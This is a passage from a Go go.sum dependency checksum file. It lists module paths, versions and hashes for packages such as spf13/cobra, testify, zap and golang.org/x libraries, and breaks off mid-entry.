h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w=\ngithub.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU=\ngithub.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE=\ngithub.com/spf13/cobra v1.6.1 h1:o94oiPyS4KD1mPy2fmcYYHHfCxLqYjJOhGsCHFZtEzA=\ngithub.com/spf13/cobra v1.6.1/go.mod h1:IOw/AERYS7UzyrGinqmz6HLUo219MORXGxhbaJUqzrY=\ngithub.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo=\ngithub.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk=\ngithub.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo=\ngithub.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4=\ngithub.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=\ngithub.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=\ngithub.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE=\ngithub.com/spf13/viper v1.15.0 h1:js3yy885G8xwJa6iOISGFwd+qlUo5AvyXb7CiihdtiU=\ngithub.com/spf13/viper v1.15.0/go.mod h1:fFcTBJxvhhzSJiZy8n+PeW6t8l+KeT/uTARa0jHOQLA=\ngithub.com/spkg/bom v0.0.0-20160624110644-59b7046e48ad/go.mod h1:qLr4V1qq6nMqFKkMo8ZTx3f+BZEkzsRUY10Xsm2mwU0=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE=\ngithub.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=\ngithub.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=\ngithub.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs=\ngithub.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI=\ngithub.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4=\ngithub.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA=\ngithub.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=\ngithub.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=\ngithub.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=\ngithub.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw=\ngithub.com/subosito/gotenv v1.4.2 h1:X1TuBLAMDFbaTAChgCBLu3DU3UPyELpnF2jjJ2cz/S8=\ngithub.com/subosito/gotenv v1.4.2/go.mod h1:ayKnFf/c6rvx/2iiLrJUk1e6plDbT3edrFNGqEflhK0=\ngithub.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U=\ngithub.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc=\ngithub.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=\ngithub.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q=\ngithub.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=\ngithub.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q=\ngo.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=\ngo.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=\ngo.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=\ngo.opencensus.io v0.22.2/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.opencensus.io v0.22.3/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.opencensus.io v0.22.4/go.mod h1:yxeiOL68Rb0Xd1ddK5vPZ/oVn4vY4Ynel7k9FzqtOIw=\ngo.uber.org/atomic v1.3.2/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=\ngo.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=\ngo.uber.org/atomic v1.5.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=\ngo.uber.org/atomic v1.6.0/go.mod h1:sABNBOSYdrvTF6hTgEIbc7YasKWGhgEQZyfxyTvoXHQ=\ngo.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=\ngo.uber.org/multierr v1.3.0/go.mod h1:VgVr7evmIr6uPjLBxg28wmKNXyqE9akIJ5XnfpiKl+4=\ngo.uber.org/multierr v1.5.0/go.mod h1:FeouvMocqHpRaaGuG9EjoKcStLC43Zu/fmqdUMPcKYU=\ngo.uber.org/tools v0.0.0-20190618225709-2cfd321de3ee/go.mod h1:vJERXedbb3MVM5f9Ejo0C68/HhF8uaILCdgjnY+goOA=\ngo.uber.org/zap v1.9.1/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=\ngo.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=\ngo.uber.org/zap v1.13.0/go.mod h1:zwrFLgMcdUuIBviXEYEH1YKNaOBnKXsx2IPda5bBwHM=\ngolang.org/x/crypto v0.0.0-20180501155221-613d6eafa307/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20181025213731-e84da0312774/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/crypto v0.0.0-20190411191339-88737f569e3a/go.mod h1:WFFai1msRO1wXaEeE5yQxYXgSfI8pQAWXbQop6sCtWE=\ngolang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20190820162420-60c769a6c586/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=\ngolang.org/x/crypto v0.0.0-20200510223506-06a226fb4e37/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=\ngolang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=\ngolang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=\ngolang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=\ngolang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=\ngolang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=\ngolang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=\ngolang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=\ngolang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=\ngolang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=\ngolang.org/x/exp v0.0.0-20191129062945-2f5052295587/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=\ngolang.org/x/exp v0.0.0-20191227195350-da58074b4299/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=\ngolang.org/x/exp v0.0.0-20200119233911-0405dc783f0a/go.mod h1:2RIsYlXP63K8oxa1u096TMicItID8zy7Y6sNkU49FU4=\ngolang.org/x/exp v0.0.0-20200207192155-f17229e696bd/go.mod h1:J/WKrq2StrnmMY6+EHIKF9dgMWnmCNThgcyBT1FY9mM=\ngolang.org/x/exp v0.0.0-20200224162631-6cc2880d07d6/go.mod h1:3jZMyOhIsHpP37uCMkUooju7aAi5cS1Q23tOzKc+0MU=\ngolang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=\ngolang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=\ngolang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=\ngolang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=\ngolang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=\ngolang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=\ngolang.org/x/lint v0.0.0-20191125180803-fdd1cda4f05f/go.mod h1:5qLYkcX4OjUUV8bRuDixDT3tpyyb+LUpUlRWLxfhWrs=\ngolang.org/x/lint v0.0.0-20200130185559-910be7a94367/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=\ngolang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY=\ngolang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=\ngolang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=\ngolang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=\ngolang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=\ngolang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=\ngolang.org/x/mod v0.1.1-0.20191107180719-034126e5016b/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg=\ngolang.org/x/mod v0.2.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=\ngolang.org/x/mod v0.32.0 h1:9F4d3PHLljb6x//jOyokMv3eX+YDeepZSEo3mFJy93c=\ngolang.org/x/mod v0.32.0/go.mod h1:SgipZ/3h2Ci89DlEtEXWUk/HteuRin+HHhN+WbNhguU=\ngolang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=\ngolang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190522155817-f3200d17e092/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=\ngolang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=\ngolang.org/x/net v0.0.0-20190613194153-d28f0bde5980/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200222125558-5a598a2470a0/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200226121028-0de0cce0169b/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200301022130-244492dfa37a/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=\ngolang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=\ngolang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=\ngolang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=\ngolang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=\ngolang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=\ngolang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=\ngolang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A=\ngolang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190412183630-56d357773e84/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20190911185100-cd5d95a43a6e/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.19.0 h1:vV+1eWNmZ5geRlYjzm2adRgW2/mcpevXNg50YZtPCE4=\ngolang.org/x/sync v0.19.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=\ngolang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190403152447-81d4e9dc473e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200106162015-b016eb3dc98e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200113162924-86b910548bc1/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200122134326-e047566fdf82/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200124204421-9fbb57f87de9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200202164722-d101bd2416d5/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200212091648-12a6c2dcc1e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys 